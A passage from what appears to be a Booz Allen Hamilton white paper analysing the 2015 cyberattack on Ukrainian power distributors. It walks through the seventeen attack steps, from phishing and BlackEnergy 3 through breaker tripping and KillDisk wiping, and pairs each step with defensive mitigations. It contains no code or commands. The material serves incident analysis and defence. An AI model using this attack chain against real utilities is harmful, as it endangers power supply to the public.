Action: The December 2015 attacks were achieved using a combination of direct threat actor manipu- lation of systems deployed by the electricity distributors, as well as malware-executed tasks.
Active threat actor activity highlights tasks that involved hands-on-keyboard interactions with systems deployed on the electricity distributor network.
Malware execution highlights tasks completed by functions built into the malware tools used by threat actors.c Timeline: This section provides the timeframe in which the step most likely occurred.
This includes specific, known dates, as well as ranges of time defined by known threat actor activities.
Device/application: This section lists the device or application targeted or exploited by threat actors in the step.
Wherever possible, specific model information is provided in instances in which the model or application details were not found in open sources, analysts made assessments based on available evidence, such as operating system (OS) or application-specific services targeted by the reported malware.
For the steps detailing prepara- tory tasks conducted external to the electricity distributors networks, activity conducted external to network is listed rather than the targeted device or application.
Role in infrastructure: This section details the function of the targeted device or application within the electricity distributors network.
Activity conducted external to network is listed for preparatory activities conducted on external infrastructure.
Exploitation method: This section includes a summary of the method used by threat actors to complete the step.
Impact: This section includes a brief summary of the capability achieved by threat actors, or any disruption or destruction of systems operated by the targeted operator, upon completion of the step.
Booz Allens recommended mitigations: This section provides the technical or procedural security measures that would help prevent or limit the impact of the activities associated with the step.
AT TA C K  W A L K T H R O U G H c. One step required employees to actively grant permissions that enabled the malware to execute.
Another step manipulated a task scheduling service available on the targeted network.
boozallen.com/ics         11 Steps 19 Step 1: Reconnaissance and Intelligence Gathering.
Prior to the attack, threat actors likely begin open-source intelligence gathering and reconnaissance on potential targets.
Step 2: Malware Development and Weaponization.
Threat actors acquire or independently develop the malware to be used in the attack, as well as the weaponized documents to deliver the malicious files.
Step 3: Deliver Remote Access Trojan (RAT).
Threat actors initiate phishing campaign against electricity distributors.
Step 4: Install RAT.
Threat actors successfully install BlackEnergy 3 on each of the three targeted electricity distributors after employees open the weaponized MS Office email attachments and enable macros.
Step 5: Establish Command-and-Control (CC) Connection.
Malware establishes connection from malicious implant on targeted network to attacker-controlled command-and-control (CC) server.
Step 6: Deliver Malware Plugins Following installation of BlackEnergy 3 implant, threat actors likely import plugins to enable credential harvesting and internal network reconnaissance.
Step 7: Harvest Credentials.
Delivered BE3 malware plugins conduct credential harvesting and network discovery functions.
Step 8: Lateral Movement and Target Identification on Corporate Network.
Threat actors conduct internal reconnaissance on corporate network to discover potential targets and expand access.d Step 9: Lateral Movement and Target Identification on ICS network.
Threat actors use stolen credentials to access the control environment and conduct reconnaissance on deployed systems.
ICS Network Corporate Network Telephone Server UPS Data Center Control Center UPS RTU Networked Substation Converters Breakers RTU Converters Breakers RTU Converters Breakers WorkstationWorkstation HMI Workstation DMS Client Application Network Share Domain Controller Server VPN Server or Gateway Call Center Automated TDoS System DMS Server VPN Server or Gateway CC Servers Valid Credential External Infrastructure BlackEnergy RAT Attack Package Malware Plugin 1 2 3 5 4 7 6 8 9 Phishing Email, Weaponized File EXHIBIT 2.
WALK THROUGH OF THRE AT ACTOR ACTIVIT Y, STEPS 1 THROUGH 9 d. In this step, the threat actors are not passing through the Domain Controller server in their lateral movements across the network, as they would, for example, a VPN gateway.
In accessing the Domain Controller they are retrieving, or making, valid user credentials to enable expansive access across the corporate network and pivoting into the ICS network.
The actual movement and network exploration would follow this compromise, would be conducted using the stolen credentials, and would occur on many machines across the network.
12 Booz Allen Hamilton In addition to the high-level summary of each step provided in this section, each step has a corre- sponding textual summary provided in Appendix A.
This textual summary provides the detailed overview of the evidence relating to each step, including citations for all referenced material and explanations of analyst assessments.
RECONNAISSANCE STEP 1: RECONNAISSANCE AND INTELLIGENCE GATHERING Prior to the attack, threat actors likely begin open-source intelligence gathering and reconnais- sance on potential targets.
Location: External infrastructure Action: Active threat actor activity Timeline: May 2014 or earlier Device/application: Activity conducted external to network Role in infrastructure: Activity conducted external to network Exploitation method: Threat actors likely gather publicly available information on deployed systems and network architecture, and may also use active discovery methods such as scanning of perimeter devices.
Impact: Threat actors gather targeting data on personnel and network infrastructure for use in future attacks.
Booz Allens recommended mitigations: Implement information classification program to categorize critical system information that could be used by a threat actor.
Sensitive information such as this should have restricted distribution and not be publicly available.
Utilize open-source intelligence gathering to identify publicly accessible information on the organization or personnel that could be used by threat actors in social engineering attacks.
Utilize open-source tools, such as Shodan, to monitor your organizations external IP address range for unexpected Internet-facing devices.
Pay special attention to identified devices with common ICS ports, such as Modbus (502) or EtherNet/IP (44818).
Maintain a detailed inventory of all assets and communication paths to develop an under- standing of potential external attack vectors.
Asset inventories should cover both equipment and applications, and should include such details as MAC ID, IP address, and firmware version, to prevent rogue network connections or modifications to network devices.
Actively monitor perimeter network security devices to identify active reconnaissance techniques, such as port scanning.
WEAPONIZATION STEP 2: MALWARE DEVELOPMENT AND WEAPONIZATION Threat actors acquire or independently develop the malware to be used in the attack, as well as the weaponized documents to deliver the malicious files.
Location: External infrastructure Action: Active threat actor activity Timeline: May 2014 or earlier Device/application: Activity conducted external to network Role in infrastructure: Activity conducted external to network Exploitation method: Threat actors acquire BlackEnergy remote access trojan (RAT), and weaponize Microsoft (MS) Word and Excel files with VBA scripts to drop the BlackEnergy RAT.
Impact: Combined with targeting data gathered during the reconnaissance phase, threat actors are able to develop tailored attack packages.
At the completion of this step, threat actors have all the necessary tools to begin their attack.
boozallen.com/ics         13 Booz Allens recommended mitigation: Implement application whitelisting to prevent unknown files from being executed and apply sandboxing to non-critical applications in order to reduce unintended modifications.
DELIVERY STEP 3: DELIVER RAT Threat actors initiate phishing campaign against electricity distributors.
Location: Corporate network Action: Active threat actor activity Timeline: May 2014June 2015e Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communica- tions and other IT services used in business operations.
Exploitation method: Threat actors send innocu- ous-looking emails containing the modified MS Office files as attachments to users on targeted networks.
This tactic is known as phishing.
Impact: RAT is delivered to targeted network, but not installed.
Installation requires employees to actively grant permission to the embedded VBA scripts to execute.
Booz Allens recommended mitigations: Implement a position-specific cyber- security awareness training program to ensure employees understand the organizational risks associated with cyberattacks and how to identify social engineering techniques such as phishing.
Establish a Computer Incident Response Team (CIRT) and ensure all employees are aware that suspicious emails or attachments should be forwarded here for investigation.
The CIRT should review any reports, perform malware analysis, and extract an indicator of compro- mise (IOC) to identify any infections on the organizations network.
Use a network-based antivirus solution to detect and prevent known malware from entering the organizations network.
Install and configure an anti-spam solution to screen incoming emails for suspicious content or abnormal senders.
Subscribe to and monitor threat intelligence sources to be aware of ongoing campaigns.
This information can be used to focus defense efforts and search for IOCs.
EXPLOITATION AND INSTALLATION STEP 4: INSTALL RAT Threat actors successfully install BlackEnergy 3 on each of the three targeted electricity distributors after employees open the weaponized MS Office email attachments and enable macros.
Location: Corporate network Action: Employee-enabled malware execution Timeline: May 2014June 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communica- tions and other services used in business operations.
Exploitation method: In a social engineering attack, employees are prompted to enable macros when opening the file attached to phishing email.
Once macros are enabled, the VBA script places multiple malicious files on the workstation, unbeknown to the employee.
Impact: Files placed on workstations within the corporate network can begin the communication process with external CC servers.
e. Ukrainian Deputy Energy Minister noted access was gained at least six months prior to the final attack.
Earliest observed phishing attack matching TTP against electricity distributor was May 2014.
14 Booz Allen Hamilton Booz Allens recommended mitigations: Implement application whitelisting to prevent unknown files from being executed.
Use host-based antivirus software to detect and prevent known malware from infecting organization systems.
Set script execution policy to allow only signed VBA scripts and macros to be run.
COMMAND AND CONTROL STEP 5: ESTABLISH CC CONNECTION Malware establishes connection from malicious implant on targeted network to attacker-controlled CC server.
Location: Corporate network Action: Malware execution Timeline: May 2014June 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communica- tions and other services used in business operations.
Exploitation method: The external connection is established as part of the execution routine following installation of the malicious files.
Once permissions to execute macros are granted by employees, the malicious VBA script installs the malware implant, and the implant attempts to communicate with an external server via HTTP requests.
Impact: Threat actors gain unauthorized access to targeted networks, including the ability to deliver additional BlackEnergy plugins to enable internal network reconnaissance and credential harvesting.
Booz Allens recommended mitigations: Configure firewall ingress and egress traffic filtering to block anomalous incoming and outgoing network communications.
Blacklist known malicious IP addresses and monitor for any form of network communica- tions to these addresses.
ACTION ON OBJECTIVES: INTERNAL RECONNAISSANCE AND LATERAL MOVEMENT STEP 6: DELIVER MALWARE PLUGINS Following installation of BlackEnergy 3 implant, threat actors likely import plugins to enable credential harvesting and internal network reconnaissance.
Location: Corporate network Action: Active threat actor activity Timeline: June 2015December 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communications and other services used in business operations Exploitation method: The BlackEnergy 3 implant delivered in the initial attack functions as a receiver for additional malware plugins.
After establishing a remote connection with delivered files via HTTPS, the threat likely delivers the additional malware components.
Impact: The delivered plugins enable additional BlackEnergy functionality, including harvesting user credentials, keylogging, and network reconnaissance.
boozallen.com/ics         15 Booz Allens recommended mitigations: Implement application whitelisting to prevent unknown files from being executed.
Configure firewall ingress and egress traffic filtering to block anomalous incoming and outgoing network communications.
Blacklist known malicious IP addresses and monitor for any form of network communica- tions to these addresses.
Use host-based antivirus software to detect and prevent known malware from infecting organization systems.
STEP 7: HARVEST CREDENTIALS Delivered BlackEnergy 3 malware plugins conduct credential harvesting and network discovery functions.
Location: Corporate network Action: Active threat actor activity, malware execution Timeline: June 2015December 2015 Device/application: Windows OS workstations, Windows domain controllers, virtual private network (VPN) service deployed in control environment Role in infrastructure: These systems support business operations, manage permissions and domain access, and provide remote network access respectively.
Exploitation method: Threat actors use delivered BlackEnergy 3 plugins to gather stored credentials or log keystrokes.
After gathering valid credentials for user with administrator privileges, threat actors use the stolen administrator credentials to access the domain controller, recover additional creden- tials, and create new privileged accounts.
Impact: Threat actors obtain valid credentials enabling them to expand access across the corporate network and into the control environment, ensure persistent access, and blend into regular network traffic.
Booz Allens recommended mitigations: Implement centralized logging and monitor audit logs for unusual logins or use of adminis- trative privileges (e.g., abnormal hours, unsuccessful login attempts).
Establish a baseline of user domain and local accounts and monitor for any account additions or privilege escalations outside of the organizations approved workflow.
Implement least privilege policies across all systems to ensure administrative accounts are properly restricted and assigned to only those who require them.
STEP 8: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON CORPORATE NETWORK Threat actors conduct internal reconnaissance on the corporate network to discover potential targets and expand access.
Location: Corporate network Action: Active threat actor activity, malware execution Timeline: June 2015December 2015 Device/application: Discovered systems, including networked uninterruptable power supply (UPS) devices, data center servers, a telephone communications server, and employee workstations Role in infrastructure: Internal reconnaissance efforts could potentially include all deployed devices on the corporate network.
Exploitation method: Threat actors likely use a combination of valid user credentials and BlackEnergy 3 plugins developed to conduct network discovery.
VS.dll plugin is likely used to leverage MS Sysinternals PsExec to establish remote connections to workstations and servers.
Impact: Threat actors are able to enumerate the systems deployed across the network, identify targets, and begin preparations for final attack.
16 Booz Allen Hamilton Booz Allens recommended mitigations: Implement active network security monitoring to identify anomalous network behavior.
Ensure network is appropriately segregated to inhibit lateral movement.
Monitor audit logs for unusual logins or use of administrative privileges (e.g., abnormal hours, unsuccessful login attempts).
Establish production honeypots spread throughout the network to alert on any attempts to login or access files.
These honeypot systems have no intentional purpose, and any attempt to access them is a notable security alert.
STEP 9: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON ICS NETWORK Threat actors use stolen credentials to access the control environment and conduct reconnaissance on deployed systems.
Location: ICS network Action: Active threat actor activity Timeline: June 2015December 2015 Device/application: Discovered systems, including human machine interface (HMI) workstations, distributed management system (DMS) servers, UPS devices,58 serial-to-Ethernet converters (Moxa UC 7408-LX-Plus,59 IRZRUH2 3G60), remote terminal unit (RTU) devices (ABB RTU560 CMU-02), and the substation breakers Role in infrastructure: HMI workstations provide a graphical user interface for operators to remotely monitor and control devices within the control environment.
DMS applications enable centralized monitoring and issuing of commands within a control environment.
UPS devices condition incoming power to downstream devices and provide temporary battery backup power.
Serial-to-Ethernet converters convert serial data from field devices to digital packets, enabling communications with the control center.
RTU devices function as a communication processor or a data concentrator in a substation, enabling communications and data transfer between field devices in the substations and the control center.
Substation breakers are devices designed to physically interrupt current flows through an electrical circuit.
Exploitation method: Threat actors use valid credentials to interact directly with the client application for the DMS server via a VPN, and native remote access services to access employee workstations hosting HMI applications.
This access likely enables threat actors to enumerate all networked devices within the control environment.
Impact: Threat actors gain access to critical systems, enabling them to begin target selection and preparations for final attack.
Booz Allens recommended mitigations: Install and configure a stateful firewall or data diode device between the corporate network and ICS network.
Configure an ICS network demilitarized zone (DMZ) and prohibit any direct traffic between the corporate and ICS networks.
All traffic between these domains should be heavily controlled through the use of proxies and be actively monitored.
Any access to systems within the control system DMZ should require the use of two-factor authentication.
Implement network segregation of control system components within the ICS network using zone and conduit techniques.
Use industrial firewalls between these network segments whereby only specified traffic can enter and exit.
All traffic outside of what is explicitly allowed should trigger an alert.
Take advantage of the predictability in control system traffic by establishing a baseline of normal ICS network communications and conduct active monitoring for anomalies.
boozallen.com/ics         17 Steps 1017 Step 10: Develop Malicious Firmware.
Threat actors develop malicious firmware update for identified serial-to-Ethernet converters.
Step 11: Deliver Data Destruction Malware.
Threat actors likely deliver KillDisk malware to network share and set policy on domain controller to retrieve malware and execute upon system reboot.
Step 12: Schedule Uninterruptable Power Supply (UPS) Disruption.
Threat actors schedule unauthorized outage of UPS for telephone communication server and data center servers.
Step 13: Trip Breakers.
Threat actors use native remote access services and valid credentials to open breakers and disrupt power distribution to over 225,000 customers within three distribution areas.
Step 14: Sever Connection to Field Devices.
After opening the breakers, threat actors deliver malicious firmware update to serial-to-Ethernet communications devices.
The malicious updates render the converters inoperable, and sever connections between the control center and the substations.
Step 15: Telephony Denial-of-Service Attack.
Threat actors initiate DoS attack on telephone call center at one of the targeted distributors.
Step 16: Disable Critical Systems via UPS Outage.
Previously scheduled UPS outage cuts power to targeted telephone communications server and data center servers.
Step 17: Destroy Critical System Data.
Scheduled execution of KillDisk malware erases the master boot records and deletes system log data on targeted machines across the victims corporate and ICS network.
ICS Network Corporate Network Telephone Server Data Center Control Center RTU Networked Substation Converters Breakers RTU Converters Breakers RTU Converters Breakers WorkstationWorkstation HMI Workstation DMS Client Application Network Share Domain Controller ServerVPN Server or Gateway Call Center Automated TDoS System External Infrastructure DMS Server VPN Server or Gateway Valid Credential Valid Credential UPS Disruption CC Servers Malicious Firmware Attack Package KillDisk 11 12 16 16 15 17 17 10 14 13 EXHIBIT 3.
WALK THROUGH OF THREAT ACTOR ACTIVITY, STEPS 10 THROUGH 17 18 Booz Allen Hamilton ACTION ON OBJECTIVES: ATTACK PREPARATION STEP 10: DEVELOP MALICIOUS FIRMWARE Threat actors develop malicious firmware update for identified serial-to-Ethernet converters.
Location: External infrastructure Action: Active threat actor activity Timeline: June 2015December 2015 Device/application: Activity conducted external to network Role in infrastructure: Activity conducted external to network Exploitation method: After identifying deployed converts, threat actors begin a malware develop- ment and testing effort on infrastructure outside of the targeted network.
Impact: Upon completion of this step, threat actors would have target-specific malware designed to disrupt communications with field devices by disabling deployed converters.
Booz Allens recommended mitigations: Implement information classification program to categorize critical system information that could be used by a threat actor.
Sensitive information such as this should have restricted distribution and not be publicly available.
Review publicly available information, including job announcements and new supplier agree- ments, to ensure they do not provide inadver- tent information to a threat actor on deployed devices.
STEP 11: DELIVER DATA DESTRUCTION MALWARE Threat actors likely deliver KillDisk malware to network share and set policy on domain controller to retrieve malware and execute upon system reboot.
Location: Corporate and ICS network Action: Active threat actor activity Timeline: December 2015, directly preceding attack Device/application: Network share and Windows domain controller server Role in infrastructure: The network share provides access to shared digital resources, and the Windows domain controller manages access control throughout the network.
Exploitation method: Threat actors likely use stolen credentials to place KillDisk malware on a network share, then set the retrieval and execution of the malicious files by implementing a policy on the compromised domain controller server.f Impact: Prescheduling execution of malware enables coordination of multiple attack compo- nents, such that data destruction coincides with or shortly follows attacks against breakers.
Booz Allens recommended mitigations: Utilize network- and host-based antivirus software to detect and prevent known malware from infecting organization systems.
Regularly scan organizational machine images with YARA rules to detect malware prior to execution.
Restrict and monitor network share access permissions.
STEP 12: SCHEDULE UPS DISRUPTION Threat actors schedule unauthorized outage of UPS for telephone communication server and data center servers.
Location: Corporate and ICS network Action: Active threat actor activity Timeline: Directly preceding December 2015 attack Device/application: Networked UPS devices with remote management interface f. This tactic was observed in attacks against the Ukrainian television broadcaster in October 2015.
Domain controllers and KillDisk execution upon reboot, observed in the December 2015 attacks, both indicate this tactic may have been repeated against the electricity distributors.
boozallen.com/ics         19 Role in infrastructure: Prevent power outages from disrupting continuous operation of critical systems.
Exploitation method: Threat actors likely use valid credentials to access privileged employee accounts, then use this access to remotely schedule unauthorized power outages.
Impact: Prescheduling outages enables coordination of multiple attack components, such that critical systems also go down as a result of the power outages, stifling potential restoration efforts.
Booz Allens recommended mitigations: Isolate UPS systems, and other facility management systems, from both the ICS and corporate networks.
Disable remote management services for UPS devices wherever possible.
ACTION ON OBJECTIVES: EXECUTE ATTACK STEP 13: TRIP BREAKERS Threat actors use native remote access services and valid credentials to open breakers and disrupt power distribution to more than 225,000 customers within three distribution areas.
Location: ICS network Action: Active threat actor activity Timeline: December 23, 2015, during Device/application: HMI workstations, DMS servers, RTU, and the substation breakers Role in infrastructure: HMI workstations provide a graphical user interface for operators to remotely monitor and control devices within the control environment.
DMS applications enable centralized monitoring and issuing of commands within a control environment.
Substation breakers are devices designed to physically interrupt current flows through an electrical circuit.
Exploitation method: Threat actors use valid credentials to seize control of operator worksta- tions, access DMS client application via VPN, and issue unauthorized commands to breakers at substations.
Impact: Opening of breakers results in disruption of electricity service to customers.
Booz Allens recommended mitigations: Disable remote access into an organizations ICS network wherever possible.
Require direct operator action to allow a remote user connectivity into the ICS VPN.
Restrict user accounts with remote access privileges to the minimum necessary and require two-factor authentication for all VPN connections.
Restrict functions of users who remotely access the control system environment wherever possible (e.g., read-only privileges).
Develop and practice incident response scenarios to understand how to disrupt remote connectivity and manually operate ICS equip- ment to bring operations back to a safe state.
STEP 14: SEVER CONNECTION TO FIELD DEVICES After opening the breakers, threat actors deliver malicious firmware update to serial-to-Ethernet communications devices.
The malicious updates render the converters inoperable and sever connections between the control center and the substations.
Location: ICS network Action: Active threat actor activity Timeline: December 23, 2015, during attack Device/application: Serial-to-Ethernet converters (Moxa UC 7408-LX-Plus,61 IRZRUH2 3G62) 20 Booz Allen Hamilton Role in infrastructure: Convert serial data from field devices to digital packets to be transmitted to remote monitoring and administration systems within the control network.
Exploitation method: Threat actors use network access to push the malicious update over the network to targeted devices.
Impact: Operators are unable to remotely close the breakers, requiring workers to manually close breakers at each substation.
Forcing this manual response draws out recovery time.
Booz Allens recommended mitigations: Actively monitor ICS network for spikes in traffic or anomalous communications associ- ated with firmware updates or reprogramming.
Use physical means to restrict remote reprogramming and firmware updates of field devices (e.g., jumper settings, remote/run/prog switches).
Implement a patch and vulnerability manage- ment plan for all computer systems, field devices, and network infrastructure equipment.
Maintain offline spares of common ICS devices within an organization to aid in the restoration of compromised devices.
STEP 15: TELEPHONy DENIAL-OF-SERVICE ATTACK Threat actors initiate DoS attack on telephone call center at one of the targeted distributors.
Location: Corporate networkg Action: Likely automated process Timeline: Dec 23, 2015, during attack Device/application: Operator telephone call center Role in infrastructure: Receive external telephone communications from customers.
Exploitation method: Threat actors likely use automated IP-based call generators to flood the targeted call center.
Impact: Automated calls overwhelm resources at call center, blocking legitimate communications from customers.
Booz Allens recommended mitigations: Establish a relationship with the telecommunications provider to aid in filtering out malicious calls during response activities.
g. Public reporting did not indicate whether the call center deployed an automated system to receive calls or whether calls were answered manually by call center personnel.
boozallen.com/ics         21 STEP 16: DISABLE CRITICAL SYSTEMS VIA UPS OUTAGE Previously scheduled UPS outage suspends temporary battery backup power to targeted telephone communications server and data center servers.
Location: Corporate and ICS network Action: Execution of prescheduled process Timeline: December 23, 2015, during attack Device/application: Networked UPS devices with remote management interface, telephone communications server, and data center servers Role in infrastructure: Prevent power outages from disrupting continuous operation of critical systems.
Exploitation method: Threat actors use network access to schedule the temporary backup power to be offline at the time of the power outages.
Impact: Power loss to telephone server disrupts communications across remote sites, and disrup- tions at control centers inhibit ability to monitor and respond to attack against breakers.
The disruption at the data center and associated system reboot trigger execution of KillDisk malware.
Booz Allens recommended mitigations: Isolate UPS systems, and other facility management systems, from both the ICS and corporate networks.
Disable remote management services for UPS devices wherever possible.
STEP 17: DESTROY CRITICAL SYSTEM DATA Scheduled execution of KillDisk malware erases the master boot records and deletes system log data on targeted machines across the victims corporate and ICS network.
Location: Corporate network and ICS network Action: Malware execution Timeline: December 23, 2015, during attack Device/application: RTU device (ABB RTU560 CMU-02),63 servers and workstations used by management, human resources (HR), and finance staff Role in infrastructure: The RTU functions as a communication processor or data concentrator in a substation, enabling communications and data transfer between field devices in the substations and the control center.64 Servers and workstations are used by management, HR, and finance staff to conduct business administration operations.
Exploitation method: Malware is retrieved from the network share and executed on networked devices according direction received via domain controller policy or local Windows Task Scheduler.
Impact: Targeted systems are rendered inoperable, and critical data is destroyed.
Booz Allens recommended mitigations: Utilize network- and host-based antivirus software to detect and prevent known malware from infecting organization systems.
Regularly scan organizational machine images with YARA rules to detect malware prior to execution.
Develop and practice contingency plans that include backup and restoration of critical data.
22 Booz Allen Hamilton T O P  1 0  TA K E A W AY S What to Consider When Protecting Your OT Environment 1.
Know your environment.
Identifying risk starts with the need to understand your operational environment, including the topology, network and wireless connection points, and connected devices and assets.
Starting with a thorough understanding of the people, processes, and technology that comprise an operational environment provides the foundation to identifying what you need to defend.
2.
Identify the key OT processes and data that need to be protected.
All processes and data are not created equal, and cybersecurity professionals often do not understand the core operations of an ICS environment.
Cybersecurity professionals need to partner with plant operators to identify and under- stand the essential operational processes that, when disrupted, can cause significant impact on operations.
By assessing and prioritizing these key processes, focused mitigation strategies can be developed to both defend and recover from cyberattacks.
3.
Understand the threats.
Threats against ICS environments continue to increase, and cybercriminals see this as an opportunity to quickly monetize their trade through ransom- ware and other attacks.
Stay informed about whats happening across the broader threat landscape, both within your industry vertical and beyond.
Understand how malicious actors may compromise your environment, whether its launching phishing attacks against operators in your plant or injecting malicious code in ICS devices at some point in the supply chain.
Engage in an active dialog with your security team to ensure they are on the lookout for these types of events, and be prepared to quickly respond.
4.
Segment your OT and IT environments.
Like the Ukraine incident, many OT attacks originate in the enterprise environment.
It is important that you understand your network boundaries and connection points.
We recommend implementing network segmen- tation between your environment using VLANs and firewalls.
Also, when necessary for ultimate protection, consider data diodes or other unidirectional technologies for one-way data transfer from sensitive environments to authorized systems.
5.
Focus on the Cyber security basics.
Often, we are making it easy on cybercriminals by forgetting about the basics.
Treat your OT environment like you treat the enterprise.
Remember to focus on basic cyber hygiene such as (a) strong passwords (or even a password if not already protected) (b) multifactor authentication for remote access, third parties, and maintenance providers (c) access control to protect key processes and data and (d) the principle of least privilege for user and admin accounts.
6.
Maintain your OT security posture.
We often find HMI and other connected devices in the OT environment to be outdated from a patching perspectiveremember, keep your patches up to date if possible.
We recognize there are cases where vendors will not support their product when new patches are applied.
In these cases, get creative because youre still at risk.
Consider alternative controls, such as whitelisting or network-based security appliances that block access based on known vulnerabilities.
boozallen.com/ics         23 7.
Focus on proactive monitoring and detection, not just compliance.
A wise person once said, Compliance solves yesterdays problem today.
In todays cybersecurity landscape, new vulnerabilities and threats emerge daily.
We recommend instrumenting your environment with both traditional network and end-point security solutions, along with emerging real-time OT data collection sensors.
We also recommend implementing an OT monitoring environ- ment, such as Splunk, that captures and correlates events.
For security operators, we recommend watching critical processes and data for firmware and configuration changes outside the proper change control process.
8.
Train your operators.
Remember, people are usually the weakest link in a cybersecurity attack.
Educate your team about the cyber and technology risks facing OT and ICSand build awareness of the impacts these threats can have on your OT environment.
Cyber criminals are actively looking to exploit ICS operations educate staff to watch out for phishing emails and immediately report them to your cyber response team.
9.
Develop an OT incident response (IR) plan.
Everyone is vulnerable to a cyberattack its important to be prepared.
We recommend creating an OT IR plan that addresses safety and plant operations stability as its primary goal.
The IR plan should include key stake- holders, such Health and Safety, Legal, Compliance, and Environmental.
Once developed, its important that you socialize and prepare to execute your plan.
We recommend using scenario-driven exercises for operators to understand threats and how to react to a cyber incident.
Practice and drill using the IR planand do it regularly 10.
Red Team your environment.
Cybercriminals think differently from traditional network defenders.
They are crafty and financially motivated.
Its important to view your environment from the eyes of your adversary.
We recommend engaging a professional team to assess your environ- ment from an attackers view.
While conventional red team practices may not work in an OT environment, a skilled team that understands the delicacies of operating in this space can use offline environments and built-in redundancy to conduct these activities without affecting your operations.
Once completed, you can develop a mitiga- tion plan based on findings and periodically re-engage the red team 24 Booz Allen Hamilton The attack against Ukraines electricity distributors was unparalleled in its impact and demonstrated disciplined, professional execution.
It is highly likely that this attack was politically motivated and conducted by a state-backed group.h As such, these threat actors were among the most well- resourced and well-organized adversaries an organization can face.
ICS operators are capable of meeting these adversaries head-on, and the tools needed to mitigate and minimize the impact of an attack such as this are readily available.
WHAT COULD HAVE PREVENTED THE ATTACK FOR UKRAINE?
At the time of the attack, though the Ukrainian electrical distributors had exploitable holes in their security posture, they were not without defense.
The Ukrainian operators had implemented firewalls between their internal networks and had segmented their ICS environment from their corporate network.65 This segmentation should have forced attackers to search for vulnerabilities on the deployed systems, had they not already stolen valid credentials.
The Ukrainian firms were also fairly well positioned to respond to the attacks their extensive experience in manual operation of their infrastructure enabled them to get impacted systems up and running within hours of the attack, despite lacking a prepared system failure contingency plan.66 Likewise, the firms were well prepared to investigate the incident, as they had extensive logging capability implemented across their systems and firewalls.67 Despite these precautions, the attackers were ultimately successful.
The biggest point of failure in the operators security posture, which allowed attackers to interfere with the physical systems, was the enablement of remote access for their control environment and the lack of two-factor authentication.68 WHAT ABOUT THE UNITED STATES?
The risks demonstrated in the attacks in Ukraine are significant for the US for several reasons.
Variants of BlackEnergy malware have been identified on multiple critical infrastructure networks in the US over the past several years.69 Additionally, disruptions on the US grids would likely have a greater financial and social impact than in Ukraine.
Given the right grid operating conditions and timing of a cyberattack, another Northeast Blackout or greater could occur.
Restoration from such a blackout could be even longer if utilities were unable to remotely coordi- nate and operate key portions of their system.
Though a destructive attack like the Ukrainian event has not occurred in the US energy sector, various actors conduct reconnaissance and technical collection on the sector.
In fiscal year 2015, members of the US energy sector reported 46 cybersecurity incidentsi to ICS-CERT.70 ICS-CERT does not publish a breakdown of the types of incidents by sector, but it revealed that 31 percent of total incidents reported across all sectors involved successful intrusion into operators assets, a third of which included accessing control systems.71 A few disclosed examples of reconnaissance targeting the US energy sector exist, the most relevant of which is a BlackEnergy campaign active from at least 2011 to 2014,72 which the US government reportedly suspected to be Russian-government orches- trated.73 In this case, the attackers who gained access to systems did not attempt to damage, modify, or otherwise disruptprocesses.74 C O N C L U S I O N h. An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. i. ICS-CERT defines an incident as the act of violating an explicit or implied security policy.
Examples of such incidents include the receipt of spear-phishing email messages, attempts to gain unauthorized systems access, and the existence of malware in either corporate or operational environments.
Source: https://ics-cert.us-cert.gov/Report-Incident boozallen.com/ics         25 In the near future, the likelihood of an attack against US electrical infrastructure on the scale of the Ukraine attack is very low.
Based on previous research, we conclude that several nation states have the capability to conduct similar time-con- suming, strategically complex attacks, but, based their current relations with the United States, these countries lack the intent to carry out such a brazen, destructive attack against US critical infrastructure.
In recent years, we have seen several government regulations and industry initiatives that have reduced the risk of such attacks.
These efforts are designed and implemented to mitigate cyber risk and ultimately to protect the reliability and availability of the electrical grid.
That said, operators must remain vigilant as many threats do exist.
Cybercriminals and other nonstate actors could use similar techniques and tactics to those in the Ukraine incident to deliver ransomware or other create other equally disruptive scenarios without attacking the grid directly.
Additionally, global relations are in constant flux and a significant deterioration in relations with any of several countries could induce them to conduct a Ukraine-style attack in the US.
26 Booz Allen Hamilton BOOZ ALLEN SERVICE OFFERINGS Booz Allen operates at the intersection of risk and technology to deliver engineering, process, and domain-focused solutions for managing process and cybersecurity challenges in a sustainable manner.
We bring the capability to work across the entire organization, from the C-Suite with business and regulatory perspectives to the plant manager and the realities of the industrial environment, to ensure business and process integrity.
We have developed cutting- edge solutions to help you identify, understand, enumerate, and manage the risks in your industrial control systems (ICS) environment.
CyberM3 for ICS.
Booz  Allens unique assessment methodology for performing risk-based reviews of your operational technology (OT) environment.
We use it to understand the key risk areas in your security posture.
We focus on (1) identification and prioritization of your key industrial processes, telemetry, and data (2) identification and analysis of key industrial and plant systems, (3) risk assessment of plant, facility, and field operations, and (4) discovery to create a comprehensive view of digital systems in your OT environment.
The output of CyberM3 is a picture of your current OT security maturity with a roadmap and actionable mitigation plans to improve your OT security posture.
Dark Labs Blacklight Assessment.
Our security engineers employ decades of expertise shielding the worlds most critical information to provide a red team assessment of your critical infrastructure and OT environment.
Our Dark Labs team develops strategies to assess your systems by deploying the same techcraft malicious hackers apply to exploit them.
Through binary reverse engineering, embedded security, network analysis and operations, and data science, we assess your ICS environment across a range of industries, manufacturers, and vendors to identify critical weaknessesproviding insights to preemp- tively secure your devices, infrastructure, and ICS systems before theyre attacked.
Supply Chain Vendor Risk Analysis.
Booz Allen provides risk-based and continuous monitoring of all aspects of the supply chain.
We can work with you to define security requirements for your key technology, hardware, and software deployments evaluate your suppliers and embed security into your procurement process, maintenance proce- dures, and other aspects of your supply chain interactions to ensure that your ICS environ- ment is not at risk.
ICS Security Architecture, Design, Review, and Analysis Capabilities.
Booz Allen recognizes that the best way to secure your OT and ICS environment is to ensure security is embedded into the systems architecture.
We provide technical leadership to architect and secure the control environment from the risks associated with cyber threats.
We look at data flows, process interactions, different plant systems, and remote access and third-party access needs to create an architecture to support operational needs and protect critical assets.
Our team of process and industrial systems engineers, using industry require- ments and operational characteristics, will organize system components into a series of protective levels to allow secure exchange of information between systems that need it while at the same time protecting core industrial processes.
